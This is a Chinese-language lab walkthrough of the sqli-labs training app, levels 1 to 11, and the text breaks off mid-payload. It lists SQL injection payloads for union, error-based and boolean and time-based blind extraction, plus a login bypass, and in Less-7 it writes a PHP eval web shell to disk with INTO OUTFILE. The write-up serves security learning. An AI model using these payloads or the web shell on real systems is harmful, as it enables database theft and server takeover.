导语
做完DVWA感觉还是对sql注入了解不够多,尝试做了一下这个实验。
里面是所有的payload和一些解释。
Less1-35
Less-1
Please input the ID as parameter with numeric value
尝试输入ID=1’ 这是一个字符型注入
Payload : id=1’
Less-2
这是一个数字型注入
Payload : ?id=9 union select 1,database(),user()
Less-3
生成的注入语句SELECT * FROM users WHERE id=(‘2’) – ‘) LIMIT 0,1
也就是把2’)注入进去构造成正常的语句,然后再–注释掉
单引号括号注入
Payload:?id=2’) –+
Less-4
?id=1’ 单引号正常
?id=1” 双引号报错 right syntax to use near ‘“1”“)
得出这个一个双引号括号的注入
Payload:?id=1”) –+
Less-5
Payload:?id=1’ 报错right syntax to use near ”1”
这是一个单引号的注入
Less-6
Payload:?id=1” 报错syntax to use near ‘“1””
这是一个双引号的注入
Less-7
转储文件get字符型注入
通过payload 我们成功一句话木马导入到指定的路径
导入:
Payload:?id=1')) union select 1,'2','<?php @eval($_POST["xx"]);?>' into outfile 'D:\\phpStudy\\PHPTutorial\\WWW\\sqli-labs-master\\xiaoha2i.php' %23
导出:
Payload:id=(('1')) union select 1,load_file ('D:\\phpStudy\\PHPTutorial\\WWW\\sqli-labs-master\\xiaoha2i.php'),'3' #'))
Less-8 Blind- Boolian- Single Quotes- String 盲注单引号注入
盲注简单理解就是不回显数据的注入,只通过页面是否正确返回来判断
Payload:?id=1’ and LENGTH(database())>=5 %23 通过这个判断数据库长度
Payload:?id=1’ and ascii(substr(database(),1,1))>=115 %23 判断某个字符串的ascii
通过更改substr(1,1)来获取不同位置的字符串的数据
Payload:?id=1’ and (select count(table_name) from information_schema.tables where table_schema=’security’)>=4 判断这个数据库有多少个表
Payload:?id=1’ and (select length(table_name) from information_schema.tables where table_schema=’security’ LIMIT 0,1)>=9 判断第一张表的长度
limit 第一个参数是指记录开始的index,从0开始,表示第一条记录。
Limit 第二个参数表示取多少条
Payload:?id=1’ and ascii(substr((select table_name from information_schema.tables where table_schema=’security’ limit 0,1),1,1))>=102 获取第一张表的第一个字符串ascii是否大于102
Payload:?id=1’ and (select count(column_name) from information_schema.columns where table_schema=’security’ and table_name=’users’)>=3 获取db=security table=users 的表里面有多少字段,是否大于等于3个字段
group by 组合查询
Less-9 -基于时间的GET单引号盲注
因为不管我们怎么输入,返回的都是同样的信息,但是我们又想知道是否存在注入,我们通过sleep(5)延时来判断是否成功执行了sql语句
payload:?id=1’ and sleep(5) %23
payload:?id=1’ and if(ascii(substr(database(),1,1))>115, 0, sleep(5)) %23
Less-10 -基于时间的GET双引号盲注
同上,只是由单引号变为双引号
payload:?id=1” and sleep(5) %23
payload:?id=1” and if(ascii(substr(database(),1,1))>115, 0, sleep(5)) %23
Less-11-基于错误的post单引号注入
截图 SELECT username, password FROM users WHERE username=’test ’ or 1=1 #’ and password=’aaaa’ LIMIT 0,1
payload-post:username=test ’ o